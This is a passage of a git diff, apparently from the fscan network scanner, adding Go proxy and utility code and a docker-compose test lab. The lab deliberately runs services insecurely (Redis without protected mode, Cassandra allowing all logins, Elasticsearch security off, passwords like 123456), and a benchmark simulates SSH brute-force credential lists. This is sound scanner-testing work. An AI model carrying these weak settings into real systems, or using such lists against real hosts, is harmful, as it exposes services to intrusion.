index 0000000..75f2c55
--- /dev/null
+++ b/common/proxy/Types.go
@@ -0,0 +1,134 @@
+package proxy
+
+import (
+ "context"
+ "crypto/tls"
+ "net"
+ "time"
+)
+
+// ProxyType 代理类型
+type ProxyType int
+
+const (
+ ProxyTypeNone ProxyType = iota
+ ProxyTypeHTTP
+ ProxyTypeHTTPS
+ ProxyTypeSOCKS5
+)
+
+// String 返回代理类型的字符串表示
+func (pt ProxyType) String() string {
+ switch pt {
+ case ProxyTypeNone:
+ return ProxyTypeStringNone
+ case ProxyTypeHTTP:
+ return ProxyTypeStringHTTP
+ case ProxyTypeHTTPS:
+ return ProxyTypeStringHTTPS
+ case ProxyTypeSOCKS5:
+ return ProxyTypeStringSOCKS5
+ default:
+ return ProxyTypeStringUnknown
+ }
+}
+
+// ProxyConfig 代理配置
+type ProxyConfig struct {
+ Type ProxyType `json:"type"`
+ Address string `json:"address"`
+ Username string `json:"username,omitempty"`
+ Password string `json:"password,omitempty"`
+ Timeout time.Duration `json:"timeout"`
+ MaxRetries int `json:"max_retries"`
+ KeepAlive time.Duration `json:"keep_alive"`
+ IdleTimeout time.Duration `json:"idle_timeout"`
+ MaxIdleConns int `json:"max_idle_conns"`
+}
+
+// DefaultProxyConfig 返回默认代理配置
+func DefaultProxyConfig() *ProxyConfig {
+ return &ProxyConfig{
+ Type: ProxyTypeNone,
+ Timeout: DefaultProxyTimeout,
+ MaxRetries: DefaultProxyMaxRetries,
+ KeepAlive: DefaultProxyKeepAlive,
+ IdleTimeout: DefaultProxyIdleTimeout,
+ MaxIdleConns: DefaultProxyMaxIdleConns,
+ }
+}
+
+// Dialer 拨号器接口
+type Dialer interface {
+ Dial(network, address string) (net.Conn, error)
+ DialContext(ctx context.Context, network, address string) (net.Conn, error)
+}
+
+// TLSDialer TLS拨号器接口
+type TLSDialer interface {
+ Dialer
+ DialTLS(network, address string, config *tls.Config) (net.Conn, error)
+ DialTLSContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error)
+}
+
+// ProxyManager 代理管理器接口
+type ProxyManager interface {
+ GetDialer() (Dialer, error)
+ GetTLSDialer() (TLSDialer, error)
+ UpdateConfig(config *ProxyConfig) error
+ Close() error
+ Stats() *ProxyStats
+}
+
+// ProxyStats 代理统计信息
+type ProxyStats struct {
+ TotalConnections int64 `json:"total_connections"`
+ ActiveConnections int64 `json:"active_connections"`
+ FailedConnections int64 `json:"failed_connections"`
+ AverageConnectTime time.Duration `json:"average_connect_time"`
+ LastConnectTime time.Time `json:"last_connect_time"`
+ LastError string `json:"last_error,omitempty"`
+ ProxyType string `json:"proxy_type"`
+ ProxyAddress string `json:"proxy_address"`
+}
+
+// ConnectionInfo 连接信息
+type ConnectionInfo struct {
+ ID string `json:"id"`
+ RemoteAddr string `json:"remote_addr"`
+ LocalAddr string `json:"local_addr"`
+ ProxyAddr string `json:"proxy_addr,omitempty"`
+ ConnectTime time.Time `json:"connect_time"`
+ Duration time.Duration `json:"duration"`
+ BytesSent int64 `json:"bytes_sent"`
+ BytesRecv int64 `json:"bytes_recv"`
+ IsTLS bool `json:"is_tls"`
+ Error string `json:"error,omitempty"`
+}
+
+// ProxyError 代理错误类型
+type ProxyError struct {
+ Type string `json:"type"`
+ Message string `json:"message"`
+ Code int `json:"code"`
+ Cause error `json:"cause,omitempty"`
+}
+
+func (e *ProxyError) Error() string {
+ if e.Cause != nil {
+ return e.Message + ": " + e.Cause.Error()
+ }
+ return e.Message
+}
+
+// NewProxyError 创建代理错误
+func NewProxyError(errType, message string, code int, cause error) *ProxyError {
+ return &ProxyError{
+ Type: errType,
+ Message: message,
+ Code: code,
+ Cause: cause,
+ }
+}
+
+// 预定义错误类型已迁移到constants.go
\ No newline at end of file
diff --git a/common/proxy/constants.go b/common/proxy/constants.go
new file mode 100644
index 0000000..6b60a9d
--- /dev/null
+++ b/common/proxy/constants.go
@@ -0,0 +1,179 @@
+package proxy
+
+import (
+ "time"
+)
+
+/*
+constants.go - 代理系统常量定义
+
+统一管理common/proxy包中的所有常量,便于查看和编辑。
+*/
+
+// =============================================================================
+// 代理类型常量 (从Types.go迁移)
+// =============================================================================
+
+const (
+ // 代理类型字符串
+ ProxyTypeStringNone = "none"
+ ProxyTypeStringHTTP = "http"
+ ProxyTypeStringHTTPS = "https"
+ ProxyTypeStringSOCKS5 = "socks5"
+ ProxyTypeStringUnknown = "unknown"
+)
+
+// =============================================================================
+// 默认配置常量 (从Types.go迁移)
+// =============================================================================
+
+const (
+ // 默认代理配置值
+ DefaultProxyTimeout = 30 * time.Second // 默认超时时间
+ DefaultProxyMaxRetries = 3 // 默认最大重试次数
+ DefaultProxyKeepAlive = 30 * time.Second // 默认保持连接时间
+ DefaultProxyIdleTimeout = 90 * time.Second // 默认空闲超时时间
+ DefaultProxyMaxIdleConns = 10 // 默认最大空闲连接数
+)
+
+// =============================================================================
+// 错误类型常量 (从Types.go迁移)
+// =============================================================================
+
+const (
+ // 预定义错误类型
+ ErrTypeConfig = "config_error"
+ ErrTypeConnection = "connection_error"
+ ErrTypeAuth = "auth_error"
+ ErrTypeTimeout = "timeout_error"
+ ErrTypeProtocol = "protocol_error"
+)
+
+// =============================================================================
+// 缓存管理常量 (从Manager.go迁移)
+// =============================================================================
+
+const (
+ // 缓存配置
+ DefaultCacheExpiry = 5 * time.Minute // 默认缓存过期时间
+)
+
+// =============================================================================
+// 错误代码常量 (从Manager.go和其他文件迁移)
+// =============================================================================
+
+const (
+ // Manager错误代码
+ ErrCodeUnsupportedProxyType = 1001
+ ErrCodeEmptyConfig = 1002
+
+ // SOCKS5错误代码
+ ErrCodeSOCKS5ParseFailed = 2001
+ ErrCodeSOCKS5CreateFailed = 2002
+
+ // 直连错误代码
+ ErrCodeDirectConnFailed = 3001
+ ErrCodeSOCKS5ConnTimeout = 3002
+ ErrCodeSOCKS5ConnFailed = 3003
+
+ // HTTP代理错误代码
+ ErrCodeHTTPConnFailed = 4001
+ ErrCodeHTTPSetWriteTimeout = 4002
+ ErrCodeHTTPSendConnectFail = 4003
+ ErrCodeHTTPSetReadTimeout = 4004
+ ErrCodeHTTPReadRespFailed = 4005
+ ErrCodeHTTPProxyAuthFailed = 4006
+
+ // TLS错误代码
+ ErrCodeTLSTCPConnFailed = 5001
+ ErrCodeTLSHandshakeFailed = 5002
+)
+
+// =============================================================================
+// HTTP协议常量 (从HTTPDialer.go迁移)
+// =============================================================================
+
+const (
+ // HTTP响应状态码
+ HTTPStatusOK = 200
+
+ // HTTP协议常量
+ HTTPVersion = "HTTP/1.1"
+ HTTPMethodConnect = "CONNECT"
+
+ // HTTP头部常量
+ HTTPHeaderHost = "Host"
+ HTTPHeaderProxyAuth = "Proxy-Authorization"
+ HTTPHeaderAuthBasic = "Basic"
+)
+
+// =============================================================================
+// 网络协议常量 (从各文件迁移)
+// =============================================================================
+
+const (
+ // 网络协议
+ NetworkTCP = "tcp"
+
+ // 代理协议前缀
+ ProxyProtocolSOCKS5 = "socks5"
+
+ // 认证分隔符
+ AuthSeparator = ":"
+)
+
+// =============================================================================
+// 错误消息常量
+// =============================================================================
+
+const (
+ // Manager错误消息
+ ErrMsgUnsupportedProxyType = "不支持的代理类型"
+ ErrMsgEmptyConfig = "配置不能为空"
+
+ // SOCKS5错误消息
+ ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败"
+ ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败"
+ ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时"
+ ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败"
+
+ // 直连错误消息
+ ErrMsgDirectConnFailed = "直连失败"
+
+ // HTTP代理错误消息
+ ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败"
+ ErrMsgHTTPSetWriteTimeout = "设置写超时失败"
+ ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败"
+ ErrMsgHTTPSetReadTimeout = "设置读超时失败"
+ ErrMsgHTTPReadRespFailed = "读取HTTP响应失败"
+ ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败,状态码: %d"
+
+ // TLS错误消息
+ ErrMsgTLSTCPConnFailed = "建立TCP连接失败"
+ ErrMsgTLSHandshakeFailed = "TLS握手失败"
+)
+
+// =============================================================================
+// 缓存键前缀常量 (从Manager.go迁移)
+// =============================================================================
+
+const (
+ // 缓存键前缀
+ CacheKeySOCKS5 = "socks5_%s"
+ CacheKeyHTTP = "http_%s"
+)
+
+// =============================================================================
+// 格式化字符串常量 (从各文件迁移)
+// =============================================================================
+
+const (
+ // SOCKS5 URL格式
+ SOCKS5URLFormat = "socks5://%s"
+ SOCKS5URLAuthFormat = "socks5://%s:%s@%s"
+
+ // HTTP CONNECT请求格式
+ HTTPConnectRequestFormat = "CONNECT %s HTTP/1.1\r\nHost: %s\r\n"
+ HTTPAuthHeaderFormat = "Proxy-Authorization: Basic %s\r\n"
+ HTTPRequestEndFormat = "\r\n"
+)
\ No newline at end of file
diff --git a/common/target.go b/common/target.go
new file mode 100644
index 0000000..a3633f3
--- /dev/null
+++ b/common/target.go
@@ -0,0 +1,62 @@
+package common
+
+import (
+ "context"
+)
+
+// TargetInfo 包装HostInfo,提供更丰富的功能
+type TargetInfo struct {
+ *HostInfo // 嵌入HostInfo,保持向后兼容
+ context context.Context
+ metadata map[string]interface{}
+}
+
+// NewTargetInfo 创建新的目标信息
+func NewTargetInfo(hostInfo HostInfo) *TargetInfo {
+ return &TargetInfo{
+ HostInfo: &hostInfo,
+ context: context.Background(),
+ metadata: make(map[string]interface{}),
+ }
+}
+
+
+// WithContext 设置上下文
+func (t *TargetInfo) WithContext(ctx context.Context) *TargetInfo {
+ t.context = ctx
+ return t
+}
+
+
+// SetMetadata 设置元数据
+func (t *TargetInfo) SetMetadata(key string, value interface{}) *TargetInfo {
+ if t.metadata == nil {
+ t.metadata = make(map[string]interface{})
+ }
+ t.metadata[key] = value
+ return t
+}
+
+// GetMetadata 获取元数据
+func (t *TargetInfo) GetMetadata(key string) (interface{}, bool) {
+ if t.metadata == nil {
+ return nil, false
+ }
+ value, exists := t.metadata[key]
+ return value, exists
+}
+
+
+
+
+
+// String 返回字符串表示
+func (t *TargetInfo) String() string {
+ return HostInfoString(t.HostInfo)
+}
+
+// HasMetadata 检查是否有指定的元数据
+func (t *TargetInfo) HasMetadata(key string) bool {
+ _, exists := t.GetMetadata(key)
+ return exists
+}
\ No newline at end of file
diff --git a/common/utils/benchmark_test.go b/common/utils/benchmark_test.go
new file mode 100644
index 0000000..9ad9fcd
--- /dev/null
+++ b/common/utils/benchmark_test.go
@@ -0,0 +1,315 @@
+package utils
+
+import (
+ "fmt"
+ "runtime"
+ "strings"
+ "testing"
+ "time"
+)
+
+// BenchmarkStringJoinOriginal 原始字符串连接方法
+func BenchmarkStringJoinOriginal(b *testing.B) {
+ slice := make([]string, 100)
+ for i := range slice {
+ slice[i] = fmt.Sprintf("item-%d", i)
+ }
+
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ var result string
+ if len(slice) > 0 {
+ result = slice[0]
+ for j := 1; j < len(slice); j++ {
+ result += "," + slice[j]
+ }
+ }
+ _ = result
+ }
+}
+
+// BenchmarkStringJoinOptimized 优化后的字符串连接方法
+func BenchmarkStringJoinOptimized(b *testing.B) {
+ slice := make([]string, 100)
+ for i := range slice {
+ slice[i] = fmt.Sprintf("item-%d", i)
+ }
+
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ result := JoinStrings(slice, ",")
+ _ = result
+ }
+}
+
+// BenchmarkIntJoinOriginal 原始整数连接方法
+func BenchmarkIntJoinOriginal(b *testing.B) {
+ slice := make([]int, 100)
+ for i := range slice {
+ slice[i] = i * 10
+ }
+
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ var result string
+ if len(slice) > 0 {
+ result = fmt.Sprintf("%d", slice[0])
+ for j := 1; j < len(slice); j++ {
+ result += "," + fmt.Sprintf("%d", slice[j])
+ }
+ }
+ _ = result
+ }
+}
+
+// BenchmarkIntJoinOptimized 优化后的整数连接方法
+func BenchmarkIntJoinOptimized(b *testing.B) {
+ slice := make([]int, 100)
+ for i := range slice {
+ slice[i] = i * 10
+ }
+
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ result := JoinInts(slice, ",")
+ _ = result
+ }
+}
+
+// BenchmarkDeduplicateOriginal 原始去重方法
+func BenchmarkDeduplicateOriginal(b *testing.B) {
+ slice := make([]string, 1000)
+ for i := range slice {
+ slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
+ }
+
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ temp := make(map[string]struct{})
+ var result []string
+
+ for _, item := range slice {
+ if _, exists := temp[item]; !exists {
+ temp[item] = struct{}{}
+ result = append(result, item)
+ }
+ }
+ _ = result
+ }
+}
+
+// BenchmarkDeduplicateOptimized 优化后的去重方法
+func BenchmarkDeduplicateOptimized(b *testing.B) {
+ slice := make([]string, 1000)
+ for i := range slice {
+ slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
+ }
+
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ result := DeduplicateStrings(slice)
+ _ = result
+ }
+}
+
+// BenchmarkSliceAllocationOriginal 原始切片分配方法
+func BenchmarkSliceAllocationOriginal(b *testing.B) {
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ var result []string
+ for j := 0; j < 50; j++ {
+ result = append(result, fmt.Sprintf("item-%d", j))
+ }
+ _ = result
+ }
+}
+
+// BenchmarkSliceAllocationOptimized 优化后的切片分配方法
+func BenchmarkSliceAllocationOptimized(b *testing.B) {
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ result := make([]string, 0, 50)
+ for j := 0; j < 50; j++ {
+ result = append(result, fmt.Sprintf("item-%d", j))
+ }
+ _ = result
+ }
+}
+
+// TestMemoryUsage 内存使用情况对比测试
+func TestMemoryUsage(t *testing.T) {
+ // 测试字符串连接的内存使用
+ t.Run("StringJoin", func(t *testing.T) {
+ slice := make([]string, 1000)
+ for i := range slice {
+ slice[i] = fmt.Sprintf("test-string-%d", i)
+ }
+
+ // 测试原始方法
+ runtime.GC()
+ var m1, m2 runtime.MemStats
+ runtime.ReadMemStats(&m1)
+
+ for i := 0; i < 1000; i++ {
+ var result string
+ if len(slice) > 0 {
+ result = slice[0]
+ for j := 1; j < len(slice); j++ {
+ result += "," + slice[j]
+ }
+ }
+ _ = result
+ }
+
+ runtime.GC()
+ runtime.ReadMemStats(&m2)
+ origAlloc := m2.TotalAlloc - m1.TotalAlloc
+
+ // 测试优化方法
+ runtime.GC()
+ runtime.ReadMemStats(&m1)
+
+ for i := 0; i < 1000; i++ {
+ result := JoinStrings(slice, ",")
+ _ = result
+ }
+
+ runtime.GC()
+ runtime.ReadMemStats(&m2)
+ optAlloc := m2.TotalAlloc - m1.TotalAlloc
+
+ t.Logf("原始方法内存分配: %d bytes", origAlloc)
+ t.Logf("优化方法内存分配: %d bytes", optAlloc)
+ t.Logf("内存减少: %.2f%%", float64(origAlloc-optAlloc)/float64(origAlloc)*100)
+ })
+}
+
+// TestPoolReuse 测试对象池复用效果(StringBuilderPool)
+func TestPoolReuse(t *testing.T) {
+ // 重置计数器
+ pool := NewStringBuilderPool(1024)
+
+ // 执行多次操作
+ slice := []string{"a", "b", "c", "d", "e"}
+ for i := 0; i < 100; i++ {
+ result := pool.JoinStrings(slice, ",")
+ _ = result
+ }
+
+ // GetReusedCount 方法已移除,无法测试复用次数
+ t.Log("字符串构建器池测试完成")
+
+ // 切片池相关功能已移除,跳过该测试
+ t.Log("切片池功能已移除")
+}
+
+// TestStringBuilderCorrectness 测试字符串构建器正确性
+func TestStringBuilderCorrectness(t *testing.T) {
+ testCases := []struct {
+ slice []string
+ sep string
+ want string
+ }{
+ {[]string{}, ",", ""},
+ {[]string{"a"}, ",", "a"},
+ {[]string{"a", "b"}, ",", "a,b"},
+ {[]string{"hello", "world", "test"}, " ", "hello world test"},
+ {[]string{"1", "2", "3", "4", "5"}, "-", "1-2-3-4-5"},
+ }
+
+ for _, tc := range testCases {
+ got := JoinStrings(tc.slice, tc.sep)
+ want := strings.Join(tc.slice, tc.sep)
+
+ if got != want {
+ t.Errorf("JoinStrings(%v, %q) = %q, want %q", tc.slice, tc.sep, got, want)
+ }
+ }
+}
+
+// TestIntJoinCorrectness 测试整数连接正确性
+func TestIntJoinCorrectness(t *testing.T) {
+ testCases := []struct {
+ slice []int
+ sep string
+ want string
+ }{
+ {[]int{}, ",", ""},
+ {[]int{1}, ",", "1"},
+ {[]int{1, 2}, ",", "1,2"},
+ {[]int{10, 20, 30}, "-", "10-20-30"},
+ }
+
+ for _, tc := range testCases {
+ got := JoinInts(tc.slice, tc.sep)
+
+ if got != tc.want {
+ t.Errorf("JoinInts(%v, %q) = %q, want %q", tc.slice, tc.sep, got, tc.want)
+ }
+ }
+}
+
+// BenchmarkCredentialGeneration 模拟SSH凭证生成的性能测试
+func BenchmarkCredentialGeneration(b *testing.B) {
+ users := []string{"admin", "root", "user", "test", "guest"}
+ passwords := make([]string, 20)
+ for i := range passwords {
+ passwords[i] = fmt.Sprintf("password%d", i)
+ }
+
+ b.ResetTimer()
+ for i := 0; i < b.N; i++ {
+ // 模拟SSH凭证生成过程
+ totalCreds := len(users) * len(passwords)
+ credentials := make([]struct{ user, pass string }, 0, totalCreds)
+
+ for _, user := range users {
+ for _, pass := range passwords {
+ credentials = append(credentials, struct{ user, pass string }{user, pass})
+ }
+ }
+ _ = credentials
+ }
+}
+
+// Example 展示如何使用优化后的工具
+func ExampleJoinStrings() {
+ slice := []string{"apple", "banana", "cherry"}
+ result := JoinStrings(slice, ", ")
+ fmt.Println(result)
+ // Output: apple, banana, cherry
+}
+
+func ExampleJoinInts() {
+ ports := []int{80, 443, 8080, 9090}
+ result := JoinInts(ports, ",")
+ fmt.Println(result)
+ // Output: 80,443,8080,9090
+}
+
+// 运行时长度测试 - 验证在不同规模下的表现
+func TestScalability(t *testing.T) {
+ sizes := []int{10, 100, 1000, 5000}
+
+ for _, size := range sizes {
+ t.Run(fmt.Sprintf("Size%d", size), func(t *testing.T) {
+ // 准备数据
+ slice := make([]string, size)
+ for i := range slice {
+ slice[i] = fmt.Sprintf("item-%d", i)
+ }
+
+ start := time.Now()
+ result := JoinStrings(slice, ",")
+ duration := time.Since(start)
+
+ t.Logf("规模 %d: 耗时 %v, 结果长度 %d", size, duration, len(result))
+
+ // 验证结果正确性(只检查开头和结尾)
+ expected := strings.Join(slice, ",")
+ if result != expected {
+ t.Errorf("结果不匹配")
+ }
+ })
+ }
+}
\ No newline at end of file
diff --git a/common/utils/memmonitor.go b/common/utils/memmonitor.go
new file mode 100644
index 0000000..5c76f75
--- /dev/null
+++ b/common/utils/memmonitor.go
@@ -0,0 +1,49 @@
+package utils
+
+import (
+ "time"
+)
+
+// MemoryMonitor 内存监控器
+type MemoryMonitor struct {
+ maxHeapMB uint64 // 最大堆内存阈值(MB)
+ maxGoroutines int // 最大goroutine数量阈值
+ checkInterval time.Duration // 检查间隔
+ running bool // 是否运行中
+ stopChan chan bool
+}
+
+// NewMemoryMonitor 创建新的内存监控器
+func NewMemoryMonitor(maxHeapMB uint64, maxGoroutines int, checkInterval time.Duration) *MemoryMonitor {
+ return &MemoryMonitor{
+ maxHeapMB: maxHeapMB,
+ maxGoroutines: maxGoroutines,
+ checkInterval: checkInterval,
+ stopChan: make(chan bool, 1),
+ }
+}
+
+// 已移除未使用的 Start 方法
+
+// 已移除未使用的 Stop 方法
+
+// 已移除未使用的 monitor 方法
+
+// 已移除未使用的 checkMemory 方法
+
+// 已移除未使用的 GetMemoryStats 方法
+
+// 已移除未使用的 ForceGC 方法
+
+// 已移除未使用的 getHeapSize 方法
+
+// 默认内存监控器实例
+var DefaultMemMonitor = NewMemoryMonitor(
+ 512, // 最大堆内存512MB
+ 1000, // 最大1000个goroutines
+ 30*time.Second, // 30秒检查一次
+)
+
+// 已移除未使用的 StartDefaultMonitor 方法
+
+// 已移除未使用的 StopDefaultMonitor 方法
\ No newline at end of file
diff --git a/common/utils/slicepool.go b/common/utils/slicepool.go
new file mode 100644
index 0000000..43a9623
--- /dev/null
+++ b/common/utils/slicepool.go
@@ -0,0 +1,8 @@
+package utils
+
+
+
+// 已移除未使用的 DeduplicateStrings 方法
+
+
+
diff --git a/common/utils/stringbuilder.go b/common/utils/stringbuilder.go
new file mode 100644
index 0000000..22c7b12
--- /dev/null
+++ b/common/utils/stringbuilder.go
@@ -0,0 +1,128 @@
+package utils
+
+import (
+ "strconv"
+ "strings"
+ "sync"
+ "sync/atomic"
+)
+
+// StringBuilderPool 字符串构建器池
+type StringBuilderPool struct {
+ pool sync.Pool
+ reused int64 // 复用计数器
+ maxSize int // 最大保留大小,防止内存无限增长
+}
+
+// NewStringBuilderPool 创建新的字符串构建器池
+func NewStringBuilderPool(maxSize int) *StringBuilderPool {
+ if maxSize <= 0 {
+ maxSize = 64 * 1024 // 默认64KB最大保留大小
+ }
+
+ return &StringBuilderPool{
+ pool: sync.Pool{
+ New: func() interface{} {
+ return &strings.Builder{}
+ },
+ },
+ maxSize: maxSize,
+ }
+}
+
+// Get 获取字符串构建器
+func (p *StringBuilderPool) Get() *strings.Builder {
+ builder := p.pool.Get().(*strings.Builder)
+ builder.Reset() // 清空内容但保留容量
+ atomic.AddInt64(&p.reused, 1)
+ return builder
+}
+
+// Put 归还字符串构建器
+func (p *StringBuilderPool) Put(builder *strings.Builder) {
+ if builder == nil {
+ return
+ }
+
+ // 如果容量超过最大限制,不放回池中以避免内存泄露
+ if builder.Cap() > p.maxSize {
+ return
+ }
+
+ p.pool.Put(builder)
+}
+
+// JoinStrings 高效连接字符串切片
+func (p *StringBuilderPool) JoinStrings(slice []string, sep string) string {
+ if len(slice) == 0 {
+ return ""
+ }
+ if len(slice) == 1 {
+ return slice[0]
+ }
+
+ builder := p.Get()
+ defer p.Put(builder)
+
+ // 预估容量:所有字符串长度 + 分隔符长度
+ var totalLen int
+ for _, s := range slice {
+ totalLen += len(s)
+ }
+ totalLen += len(sep) * (len(slice) - 1)
+
+ // 如果当前容量不足,预先增长
+ if builder.Cap() < totalLen {
+ builder.Grow(totalLen)
+ }
+
+ builder.WriteString(slice[0])
+ for i := 1; i < len(slice); i++ {
+ builder.WriteString(sep)
+ builder.WriteString(slice[i])
+ }
+
+ return builder.String()
+}
+
+// JoinInts 高效连接整数切片
+func (p *StringBuilderPool) JoinInts(slice []int, sep string) string {
+ if len(slice) == 0 {
+ return ""
+ }
+ if len(slice) == 1 {
+ return strconv.Itoa(slice[0])
+ }
+
+ builder := p.Get()
+ defer p.Put(builder)
+
+ // 预估容量:平均每个整数4字符 + 分隔符
+ estimatedLen := len(slice)*4 + len(sep)*(len(slice)-1)
+ if builder.Cap() < estimatedLen {
+ builder.Grow(estimatedLen)
+ }
+
+ builder.WriteString(strconv.Itoa(slice[0]))
+ for i := 1; i < len(slice); i++ {
+ builder.WriteString(sep)
+ builder.WriteString(strconv.Itoa(slice[i]))
+ }
+
+ return builder.String()
+}
+
+
+
+// 全局字符串构建器池实例
+var GlobalStringBuilderPool = NewStringBuilderPool(64 * 1024)
+
+// 便捷函数,使用全局池
+func JoinStrings(slice []string, sep string) string {
+ return GlobalStringBuilderPool.JoinStrings(slice, sep)
+}
+
+func JoinInts(slice []int, sep string) string {
+ return GlobalStringBuilderPool.JoinInts(slice, sep)
+}
+
diff --git a/docker-compose.yml b/docker-compose.yml
new file mode 100644
index 0000000..8e27266
--- /dev/null
+++ b/docker-compose.yml
@@ -0,0 +1,339 @@
+version: '3.8'
+
+services:
+ # === 数据库服务 ===
+ mysql:
+ image: mysql:latest
+ container_name: fscan-mysql
+ environment:
+ MYSQL_ROOT_PASSWORD: Password
+ MYSQL_DATABASE: mydb
+ ports:
+ - "3306:3306"
+ volumes:
+ - mysql_data:/var/lib/mysql
+ healthcheck:
+ test: ["CMD", "mysql", "-uroot", "-pPassword", "-e", "SELECT 1"]
+ interval: 30s
+ timeout: 3s
+ retries: 3
+ restart: unless-stopped
+
+ postgresql:
+ image: postgres:latest
+ container_name: fscan-postgresql
+ environment:
+ POSTGRES_USER: postgres
+ POSTGRES_PASSWORD: 123456
+ POSTGRES_DB: mydb
+ ports:
+ - "5432:5432"
+ volumes:
+ - postgresql_data:/var/lib/postgresql/data
+ healthcheck:
+ test: ["CMD-SHELL", "pg_isready -U postgres"]
+ interval: 30s
+ timeout: 3s
+ retries: 3
+ restart: unless-stopped
+
+ mongodb:
+ image: mongo:latest
+ container_name: fscan-mongodb
+ environment:
+ MONGO_INITDB_ROOT_USERNAME: admin
+ MONGO_INITDB_ROOT_PASSWORD: 123456
+ ports:
+ - "27017:27017"
+ volumes:
+ - mongodb_data:/data/db
+ healthcheck:
+ test: ["CMD", "mongosh", "--eval", "db.runCommand('ping').ok", "localhost:27017/test", "--quiet"]
+ interval: 30s
+ timeout: 3s
+ retries: 3
+ restart: unless-stopped
+
+ redis:
+ image: redis:5.0.1
+ container_name: fscan-redis
+ command: redis-server --bind 0.0.0.0 --protected-mode no --port 6379
+ ports:
+ - "6379:6379"
+ volumes:
+ - redis_data:/data
+ - ./test_dirs:/test_dirs
+ restart: unless-stopped
+
+ neo4j:
+ image: neo4j:4.4
+ container_name: fscan-neo4j
+ environment:
+ NEO4J_AUTH: neo4j/123456
+ NEO4J_dbms_security_procedures_unrestricted: apoc.*
+ NEO4J_dbms_security_auth_enabled: true
+ ports:
+ - "7474:7474"
+ - "7687:7687"
+ volumes:
+ - neo4j_data:/data
+ restart: unless-stopped
+
+ memcached:
+ image: memcached:latest
+ container_name: fscan-memcached
+ command: ["memcached", "-m", "64", "-c", "1024", "-v"]
+ ports:
+ - "11211:11211"
+ restart: unless-stopped
+
+ cassandra:
+ image: cassandra:3.11
+ container_name: fscan-cassandra
+ environment:
+ CASSANDRA_AUTHENTICATOR: AllowAllAuthenticator
+ ports:
+ - "9042:9042"
+ - "9160:9160"
+ volumes:
+ - cassandra_data:/var/lib/cassandra
+ restart: unless-stopped
+
+ mssql:
+ image: mcr.microsoft.com/mssql/server:2022-latest
+ container_name: fscan-mssql
+ environment:
+ ACCEPT_EULA: Y
+ MSSQL_SA_PASSWORD: P@ssword123
+ MSSQL_PID: Express
+ ports:
+ - "1433:1433"
+ volumes:
+ - mssql_data:/var/opt/mssql
+ healthcheck:
+ test: ["CMD-SHELL", "/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q 'SELECT 1' || exit 1"]
+ interval: 30s
+ timeout: 3s
+ retries: 3
+ restart: unless-stopped
+
+ # === Web服务 ===
+ tomcat:
+ build: ./TestDocker/Tomcat/
+ container_name: fscan-tomcat
+ ports:
+ - "8080:8080"
+ volumes:
+ - tomcat_webapps:/usr/local/tomcat/webapps
+ restart: unless-stopped
+
+ # === 搜索引擎 ===
+ elasticsearch:
+ image: docker.elastic.co/elasticsearch/elasticsearch:7.9.3
+ container_name: fscan-elasticsearch
+ environment:
+ - discovery.type=single-node
+ - network.host=0.0.0.0
+ - ELASTIC_PASSWORD=elastic123
+ - xpack.security.enabled=false
+ ports:
+ - "9200:9200"
+ - "9300:9300"
+ volumes:
+ - elasticsearch_data:/usr/share/elasticsearch/data
+ restart: unless-stopped
+
+ # === 消息队列 ===
+ rabbitmq:
+ image: rabbitmq:3-management
+ container_name: fscan-rabbitmq
+ environment:
+ RABBITMQ_DEFAULT_USER: admin
+ RABBITMQ_DEFAULT_PASS: 123456
+ ports:
+ - "5672:5672"
+ - "15672:15672"
+ volumes:
+ - rabbitmq_data:/var/lib/rabbitmq
+ restart: unless-stopped
+
+ activemq:
+ build: ./TestDocker/ActiveMQ/
+ container_name: fscan-activemq
+ ports:
+ - "61613:61613"
+ - "61614:61614"
+ restart: unless-stopped
+
+ kafka:
+ image: bitnami/kafka:latest
+ container_name: fscan-kafka
+ environment:
+ - KAFKA_CFG_NODE_ID=1
+ - KAFKA_CFG_PROCESS_ROLES=broker,controller
+ - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093
+ - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER
+ - KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092
+ - KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092
+ - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT
+ - KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN
+ - KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN
+ - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT
+ - KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf
+ - ALLOW_PLAINTEXT_LISTENER=yes
+ ports:
+ - "9092:9092"
+ volumes:
+ - ./TestDocker/Kafka/kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf
+ - kafka_data:/bitnami/kafka
+ restart: unless-stopped
+
+ # === 目录服务 ===
+ ldap:
+ build: ./TestDocker/LDAP/
+ container_name: fscan-ldap
+ environment:
+ LDAP_ORGANISATION: "Example Inc"
+ LDAP_DOMAIN: "example.com"
+ LDAP_BASE_DN: "dc=example,dc=com"
+ LDAP_ADMIN_PASSWORD: "Aa123456789"
+ LDAP_READONLY_USER: "true"
+ LDAP_READONLY_USER_USERNAME: "readonly"
+ LDAP_READONLY_USER_PASSWORD: "readonly"
+ ports:
+ - "389:389"
+ - "636:636"
+ volumes:
